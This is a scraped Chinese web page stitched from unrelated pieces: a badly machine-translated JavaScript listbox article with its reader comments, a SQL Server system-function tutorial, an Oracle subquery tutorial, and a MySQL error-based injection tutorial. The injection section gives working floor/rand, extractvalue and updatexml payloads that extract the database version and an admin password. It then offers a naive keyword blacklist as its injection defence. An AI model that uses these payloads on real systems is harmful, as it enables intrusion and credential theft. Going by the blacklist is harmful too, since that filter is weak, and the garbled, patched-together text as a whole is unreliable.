数据库 select中,select 5>3 为什么报错

重新排列多个放大器;LT;在网页领域_客户端脚本_网页开发_或代码
| 文章 >> 网页开发 >> 客户端脚本
重新排列多个放大器;LT;在网页领域
简介这个脚本的目的是扩大标准LT的功能; selectgt在网页领域。有时候,我们需要订购列表中的元素。这种功能的扩展可能是有用的,例如在CMS,当你需要一个接口命令和一些元素重新排序。背景我开始工作,我的客户在新的CMS项目,并为一个脚本来重新排列LT搜索;元素。我发现了很多的脚本,但他们没有做什么我期望,我需要什么。如你所知,程序员和正常人之间的差异是,当程序员需要的东西,他们坐在和脚本。所以我写了这个脚本...为什么要使用此脚本吗?首先,该脚本支持多个排序LT ="属性;领域。下来,您可以向上移动,顶部或底部甚至一个复杂的多重选择。更多";这个脚本的另一个优点是它不会复制LT值;一个隐藏字段,但提交到服务器阵列的整个领域。请注意,LT的名称;字段必须包含结束[]。例如,如果字段的名称应该是"文件",请使用:名称="文件[]";有些浏览器支持不同的颜色,字体,样式和LT的不同元素的背景颜色;领域 - MSIE和Firefox。这个脚本支持,不仅重新排列文本和数值,但也重新排序LT的布局; selectgt,通过改变颜色,背景颜色,编号和移动的元素的类的名称属性领域;此外,使用反之亦然()和listsort()函数时,脚本会记住哪个元素被选中,这是不;最后,MSIE,Netscape 6和7&#8203;&#8203;,Opera 6和7和Firefox 0.8下测试脚本#,0.9#。功能为了要素有六个基本功能:顶部(对象);移动选定的项目在LT;领域顶端;高达(对象);在LT移动选定的项目;领域一步上限;向下(对象);在LT移动选定的项目; selectgt领域一步降低;底部(对象);移动选定的项目在LT;领域底部;反之亦然(对象,onlyselected);重新排序或唯一入选的项目在LT;领域缺货;新!交换(对象);交换在LT的第一个和最后选定项目;领域;listsort(对象,标准,参数,参数);在LT的所有项目进行排序;由标准领域。另外,还有一些附加功能:全选(对象);选择在LT的所有项目;之前提交的LT领域;selectnone(对象);取消选择在LT的所有项目;领域;滚轮(对象);在LT移动选定的项目;领域或滚动鼠标滚轮。的AddItem(对象,价值,文字,索引,ID,类名,颜色,背景颜色,选择);添加一个新的项目与指定的参数对现有LT;领域;removeitem(对象,索引);从LT删除项目;领域;调用函数您可以创建为每个使用该代码的功能按钮:<输入类型="buttonquo&#8203;&#8203;t;值= T的onclick =顶部(对象);
TITLE ="移动到topquot / GT;或者你可以使用任何页面对象的onclick =函数();事件。不要使用LT; buttongt标签来创建这样的按钮,因为在一些浏览器,这种类型的按钮提交表单!此外,如果使用LT;,不使用的onclick ="函数();图像内的事件,而是把一个锚定标记的图像:框中?如果可以,请帮我
/PHP/Scripts_and_Programs/Miscellaneous/osCommerce_Addons/index.html 评论会员:
时间: Ususaly我有一个整数字段名为我的数据库list_id,从某些表的数据,当我选择,我使用list_id ASC,ID ASC 令
当你想保存的元素的新秩序 - 在选择领域中的每个元素只是循环和更新
LT;?PHP 如果(使用isset($ _POST ["订单"])){
的foreach($ _POST ["秩序"]作为关键价值=> $){
/ /在此处键入MySQL查询更新记录编号= $价值LIST_ID = $
但是,这不是一个很好的解决方案更大的表在数据库中!我`M寻找一个更好的解决办法不时,但似乎这是最好的。 评论会员:
时间:如果添加了产品和您单击向上或向下一个大名单。重点转到列表的第一个元素... {S2}
Vezz 评论会员:
时间:发布非常感谢,对不起我的英语水平... ...
巴勃罗桑切斯评论会员:
时间:您好,
我发现你的JS,我试图使用的listSort功能。我用的是Struts框架,以显示"选择"元素。有了这个框架,我使用的版本,我无法定义的ID。因此,我通过"document.myForm.groupSelect"groupSelect是选择对象的n名称作为第一个参数的对象。我的问题是Firefox说,没有定义的方法listsort(document.myForm.groupSelect,1,FALSE,FALSE)
我的JSP包含以下行:
LT脚本类型=文/ JavaScript的语言="JAVASCRIPT"SRC =" /静态/ JS / sort.js> ... LT脚本类型=文字/ JavaScript语言="JavaScript的"> listsort(document.myForm.groupSelect,1,FALSE,FALSE)
你有什么不对?有任何的想法
,基督教{S3} 评论会员:
时间:嘿人,
伟大的脚本,使公开的感谢... ...你可能只是一个提示,包括一个不带空格或意见的压缩。js文件... ...它可能保存,特别是对国家,如南非缓慢的互联网浏览人一些KB的!
再次感谢nelwa
评论会员:
时间:代码共享是非常高兴... ...坚持做下去
Sreenivasulu Palavarapu 无限的计算机解决方案,班加罗尔评论会员:
时间:我将修改这个了不起的代码添加一个"交换"功能开关的条目。如果/当我做到这件事,我将它传递。 评论会员:
时间:如果你形容这是什么功能都做,我会尝试将其添加。我认为是可以做到的工作正确的选择只有两个(并不多,不会少)元素的!如果您有任何其他的想法 - 请给我发电子邮件,或张贴在这里。
我也认为有关AJAX加载的元素 - 你认为abot?不知道热,正是实施&#8203;&#8203;仅文本和值可以载入XML或所有的数据 - 选择,颜色,背景... 评论会员:
时间:我已经更新脚本的文章。它是submited和即将到来... ...但是现在是在{A}
我已经添加了一个函数,交换和选择的最后一个元素。
反之亦然功能先进位,现在支持第二个可选参数onlyselected像交换功能时,选择只有两个元素!
AJAX元素负载 - 下月的
BABA ... 评论会员:
时间:喜Babailiica
你能告诉我你在哪里发布vers1.3
评论会员:
时间:如果从一个ASPX页面,重新排序清单后的方式,可以在代码确定新秩序后面呢?你知道这是否会影响视图状态?
Zeke 评论会员:
时间:通过重新排序的名单张贴在Request.Form对象。如果指定的Request.Form("ListBoxName")ListBox的名称,将返回一个逗号分隔的字符串。您分割成一个数组,遍历的ListBox绑定到数组,或通过遍历数组中做什么,你需要做的。与此的一个问题是,你只能得到所选项目的价值,而不是文本,所以你必须意识到这一点,如果你有不同的值
您还需要确保调用全选()函数时的形式发布。如果你不这样做,你不会得到完整的列表回的Request.Form。我修改的全选()函数总是返回true,使形式将始终提交后,我把它添加到onsubmit事件。
评论会员:
时间:!HOWDY
您可以考虑使用AJAX来更新数据库。然后,您可避免回发期。
-------------------------{ BR}
它的确定..他不是普通的狗... ...
评论会员:
时间:有没有人得到这个工作?我一直在尝试,但似乎无法找到数据的形式集合!我发射的全选事件,但似乎没有得到提交!
绝对是PEBCAK! (键盘和椅子之间存在的问题)
- 修改8:11星期二第二十五年4月,2006年
&桌面&网页开发&移动开发&数据库&多媒体&编程语言&平台,框架和库&编程通用&图形/设计&开发周期&一般阅读&第三方产品&作者资源&其他
快速解答标签
价值作最多系统信息包括当前使用的数据库名称,主机名,系统错误消息以及用户名称等内容。使用SQL SERVER中的系统函数可以在需要的时候获取这些信息。下面介绍系统函数的作用和使用方法。 1.返回表中指定字段的长度
COL_LENGTH(table,column)函数返回表中指定字段的长度值。其返回值为int类型,table为要确定其列长度信息的表的名称,是nvarchar类型的表达式。column为要确定其长度的列的名称,是nvarchar类型的表达式. 【例】先创建一个学生表student。 create table student ( i_sid int primary key identity(1,1), str_stuName varchar(10) ); SELECT COL_LENGTH('student','str_stuName');
2.返回表中指定字段的名称
COL_NAME(table_id,column_id)函数返回表中指定字段的名称。table_id是表的标识号,column_id是列的标识号,类型为int. 【例】SELECT COL_NAME(OBJECT_ID('student'),1);
3.返回数据表达式的数据的实际长度函数 DATALENGTH(expression)函数返回数据表达式的数据的实际长度,即字节数。其返回值类型为int。null的长度为null。expression可以是仁和数据类型的表达式。【例】SELECT DATALENGTH(str_stuName) FROM student WHERE i_sid=1;
4.返回数据库的编号
DB_ID(database_name)函数返回数据库的编号,其返回值为SMALLINT类型,如果没有指定database_name,则返回当前数据库的编号。 【例】SELECT DB_ID('master') ,DB_ID('test_db');
5.返回数据库的名称
DB_NAME(database_id)函数返回数据库的名称。其返回值类型为nvarchar(128).database_id是smallint类型的数据。如果没有指定database_id,返回当前数据库的名称。 【例】USE SELECT DB_NAME('master'),DB_NAME(DB_ID('sample_db')); USE 语句将master选择为当前数据库,因此DB_NAME()返回值为当前数据库master,DB_NAME(DB_ID('sample_db'))返回值sample_db本身.
6.返回数据库当前默认的null值
getAnsiNull()(database_name)函数返回当前数据库默认的NULL值,其返回值类型为int。getAnsiNull()函数对ANSI空值NULL返回1;如果没有定义ANSI空值,返回0; 【例】SELECT GETANSINULL('master'); 如果指定数据库为空性,即允许为空值,并且,没有显示定义列或数据类型为空性,则GETANSINULL返回1;
7.返回服务器端计算机的标识号 HOST_ID()函数返回服务器端计算机的标识号。其返回值类型为char(10). 【例】查看当前服务器端计算机的标识号,如下: SELECT HOST_ID(); 使用HOST_ID()函数可以记录那些向数据库中插入数据的计算机终端ID.
8.返回服务器端计算机名称
HOST_NAME()函数返回服务器端计算机的名称,其返回值类型为nvarchar(128); 【例】查看当前服务器端计算机的名称,如下: SELECT HOST_NAME();
9.返回数据库对象的编号
OBJECT_ID(database_name.schema_name.object_name,object_type)函数返回数据库对象的编号,其返回值类型为int。object_name为要使用的对象,它的数据类型为varchar或nvarchar。如果object_name的数据类型为varchar,则它将隐士转换为nvarchar。可以选择是否指定数据库和架构名称。object_type指定架构范围的对象类型. 【例】返回sample_db数据库中student表的对象ID SELECT OBJECT_ID('sample_db.dbo.student');
10.返回用户的SID(安全标识号)
SUSER_SID(login_name)函数根据用户的登录名返回用户的SID(Security Identification Number,安全标识号)。其返回值类型为int,如果不指定login_name,则返回当前用户的sid. 【例】查看当前用户的安全标识号,输入语句如下 SELECT SUER_SID();
11.返回用户的登录名
SUSER_SNAME([server_user_id])函数返回与安全标识号(SID)关联的登录名,如果没有指定server_user_id,则返回当前用户的登录名。其返回值类型为nvarchar(128); 【例】返回与windows安全标识号关联的登录名,如下: SELECT SUSER_SNAME(0x01),SUSER_SNAME() ;
12.返回数据库对象的名称
OBJECT_NAME(object_id[,database_id])函数返回数据库对象的名称。database_id要在其中查找对象的数据库的ID,数据类型为int。object_id为要使用的对象ID,数据类型为int,假定为指定数据库的对象,如果不指定database_id,则假定为当前数据库上下文中的架构范围内的对象,其返回值类型为 【例】查看sample_db数据库中对象ID值为的对象名称 SELECT OBJECT_NAME(,DB_ID('sample_db')), OBJECT_ID('sample_db.dbo.student');
13.返回数据库用户的标识号
USER_ID(user)函数根据用户名返回数据库用户的ID。其返回值为int类型,如果没有指定user,则返回当前用户的数据库ID。 【例】显示当前用户的数据库标识号,输入如下语句 USE sample_ SELECT USER_ID();
14.返回数据库用户名
USER_NAME(id)函数根据与数据库用户关联的ID号返回数据库用户名。其返回值类型为nvarchar(256).如果没有指定id,则返回当前数据库的用户名。 【例】查找当前数据库名称,输入如下语句 USE sample_ SELECT USER_NAME();
上面例子的sql脚本--系统函数 create database sample_use sample_create table student ( i_sid intprimary keyidentity(1,1), str_stuName varchar(10) );--1.返回表中指定字段的长度SELECT COL_LENGTH('student','str_stuName');--2.返回表中指定字段的名称SELECT COL_NAME(OBJECT_ID('student'),1);--3.返回数据表达式的数据的实际长度函数insert into student values('Jamse');select *from studentSELECT DATALENGTH(str_stuName)FROM student where i_sid=1;--4.返回数据库的编号SELECT DB_ID('master') ,DB_ID('sample_db');--5.返回数据库的名称use masterSELECT DB_NAME(),DB_NAME(DB_ID('sample_db'));--6.返回数据库当前默认的null值SELECT GETANSINULL('master');--7.返回服务器端计算机的标识号SELECT HOST_ID()--8.返回服务器端计算机名称SELECT HOST_NAME();--9.返回数据库对象的编号SELECT OBJECT_ID('sample_db.dbo.student');--10.返回用户的SID(安全标识号)SELECT SUSER_SID('sa'),SUSER_SID();--11.返回用户的登录名SELECT SUSER_SNAME(0x01),SUSER_SNAME();--12.返回数据库对象的名称SELECT OBJECT_NAME(,DB_ID('sample_db')), OBJECT_ID('sample_db.dbo.student');--13.返回数据库用户的标识号USE sample_SELECT USER_ID();--14.返回数据库用户名USE sample_SELECT USER_NAME();mysql注入中三种报错模式利用方法详解-mysql教程-数据库-壹聚教程网mysql注入中三种报错模式利用方法详解
网站安全最容易给注入进去的就是sql数据库了,如果你使用dedecms就会经常有人在搜索中写sql注入语句,一不留神你的网站就给人家打包或放毒了,下面我来给大家分享mysql注入中三种报错模式利用方法,希望对大家有帮助。
1、通过floor报错
可以通过如下一些利用代码
1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables
and (select count(*) from (select 1 union select null union select& !1)x group by concat((select table_name from information_schema.tables& limit 1),floor(rand(0)*2)));
举例如下:
首先进行正常查询:
mysql& select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
|& 1 | test& | do it&& |
+----+-------+---------+
假如id输入存在注入的话,可以通过如下语句进行报错。
mysql& select * from article where id = 1 and (select 1 from& (select count(*),concat(version(),floor(rand(0)*2))x from& information_schema.tables group by x)a);
ERROR ): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码:
mysql& select * from article where id = 1 and (select 1 from& (select count(*),concat((select pass from admin where id& =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR ): Duplicate entry 'admin8881' for key 'group_key'
mysql& select * from article where id = 1 and (select count(*)& from (select 1 union select null union select !1)x group by& concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR ): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
测试语句如下
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
mysql& select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: 'admin888'
3、UpdateXml
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
mysql& select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
上面人方法有一个特点就是查询语句很很长我们可以限制输入长度,这也可以有效的过滤不过sql注入了,下面我来给大家分享一个防sql注入函数。
1.函数的构建
函数名称:inject_check()
函数作用:检测提交的值是不是含有SQL注射的字符,防止注射,保护
参&&&&&&& 数:$sql_str: 提交的变量
返 回 值:返回检测结果,ture or false
function inject_check($sql_str)
&&&& return eregi('select|insert|update|delete|'|/*|*|../|./|union|into|load_file|outfile', $sql_str);&&& // 进行过滤
2.函数的使用实例
if (inject_check($_GET['id']))
&&&& exit('你提交的数据非法,请检查后重新提交!');
&&& $id = $_GET['id'];
//处理数据&&&&&&
更多关于sql防注入的确我们可参考http://www.111cn.net/phper/phpanqn/37379.htm
上一页: &&&&&下一页:相关内容SQL基础――&子查询
(window.slotbydup=window.slotbydup || []).push({
id: '2611110',
container: s,
size: '240,200',
display: 'inlay-fix'
您当前位置: &
[ 所属分类
--=========================--SQL 基础--& 子查询--=========================一、子查询子查询就是位于SELECT、UPDATE、或DELETE语句中内部的查询二、子查询的分类单行子查询返回零行或一行多行子查询返回一行或多行多列子查询返回多列相关子查询引用外部SQL语句中的一列或多列嵌套子查询位于其它子查询中的查询三、子查询语法SQL&SELECT select_listFROM tableWHERE expr operator (SELECT select_list FROM table);子查询(内部查询)在执行主查询之前执行一次,然后主查询(外部查询)会使用该子查询的结果四、子查询的规则将子查询括在括号中将子查询放置在比较条件的右侧只有在执行排序Top-N分析时,子查询中才需要使用ORDER BY 子句单行运算符用于单行子查询,多行运算符用于多行子查询五、单行子查询仅返回一行使用单行的表较运算符:= ,&, &= ,& , &= ,&&--在WHERE 子句中使用子查询SQL&select ename, jobfrom empwhere empno = (select empno from emp where mgr = 7902);--使用分组函数的子查询SQL&select ename, job, sal from emp where sal & (select avg(sal) from emp);--在HAVING子句中使用子查询SQL&select deptno, min(sal)from empgroup by deptnohaving min(sal) & (select min(sal) from emp where deptno = 20);--在FROM 子句中使用子查询SQL&select empno, ename from (select empno, ename from emp where deptno = 20);--单行子查询中的常见错误--子查询的结果返回多于一行SQL&select empno, enamefrom empwhere sal = (select sal from emp where deptno = 20);(select sal 返回多行ORA-01427: single-row subquery returns more than one row--子查询中不能包含ORDER BY子句SQL&select empno, enamefrom empwhere sal & (select avg(sal) from emp order by empno);order by empno)ORA-00907: missing right parenthesis--子查询内部没有返回行,如下语句可以正确执行,但没有数据返回SQL&select ename, jobfrom empwhere empno = (select empno from emp where mgr = 8000);返回:no rows selected六、多行子查询返回多个行使用多行比较运算符IN ,ANY ,ALL--在多行子查询中使用IN 操作符SQL&select empno, ename, jobfrom empwhere sal in (select max(sal) from emp group by deptno);--在多行子查询中使用ANY 操作符备注:{比如集合(1,2,3,4)&any表示只要大于其中任意一个就行&all表示要比其中的任何一个都大}SQL&select empno, ename, jobfrom empwhere sal & any (select avg(sal) from emp group by deptno);--在多行子查询中使用ALL 操作符SQL&select empno, ename, jobfrom empwhere sal & all (select avg(sal) from emp group by deptno);七、相关子查询子查询中使用了主查询中的某些字段,主查询每扫描一行都要执行一次子查询--查询工资高于同一部门的员工的平均工资的 部门号,姓名,工资SQL&select deptno, ename, salfrom empouter where sal & (select avg(sal)from empinner where inner.deptno = outer.deptno);--查询负责管理其它员工的员工记录(使用exists)注:EXISTS 是判断是否存在,和in类似,但效率要比in高SQL&select empno, enamefrom empouter where exists(select empno from emp inner where inner.mgr = outer.empno);--查询不管理其它员工的职员(not exists)SQL&select empno, enamefrom empouter where not exists(select empno from emp inner where inner.mgr = outer.empno)备注:EXISTS 和NOT EXISTS 与IN 和NOT IN 的比较EXISTS与IN的不同:EXISTS只检查行的存在性,IN 要检查实际值的存在性(一般情况下EXISTS的性能高于IN)NOT EXISTS 和NOT IN:当值列表中包含空值的情况下,NOT EXISTS 则返回true,而NOT IN 则返回false.--看下面的查询,查询部门号不在emp表中出现的部门名称及位置SQL&select deptno, dname, locfrom dept dwhere not exists (select 1 from emp e where e.deptno = d.deptno);--IN与空值SQL&SELECT *FROM emp eWHERE e.empno NOT IN (SELECT 7369FROM dualUNION ALLSELECT NULL FROM dual);SQL&SELECT * FROM emp e WHERE e.empno IN ('7369', NULL);注:子查询要包含在括号内子查询一般放在比较条件的右侧除非进行TOP-N 分析,否则不要在子查询中使用ORDER BY。八、多列子查询1、成对比较--查询工资为部门最高的记录SQL&select *from scott.empwhere (sal, job) in (select max(sal), job from scott.emp group by job);--非成对比较,实现了与上述类似的功能SQL&select *from scott.empwhere sal in (select max(sal) from scott.emp group by job)and job in (select distinct job from scott.emp);九、嵌套子查询即位于子查询内部的子查询,嵌套层数最多可达层。然而应尽量避免使用嵌套子查询,使用表连接的查询性能会更高SQL&select deptno, Num_empfrom (select deptno, count(empno) as Num_emp from emp group by deptno) dwhere Num_emp & 3;注意:子查询对空值的处理除了count(*)外,都会忽略掉空值
本文数据库(mssql)相关术语:熊片数据库 mssql数据库 oracle数据库 pubmed数据库 access数据库 万方数据库
转载请注明本文标题:本站链接:
分享请点击:
1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
意识到自由意志是上天赐予的礼物的人,只有在奋力抗争之后,才知道如何善用!
手机客户端
,专注代码审计及安全周边编程,转载请注明出处:http://www.codesec.net
转载文章如有侵权,请邮件 admin[at]codesec.net

我要回帖

更多关于 数据库select语句大全 的文章

 

随机推荐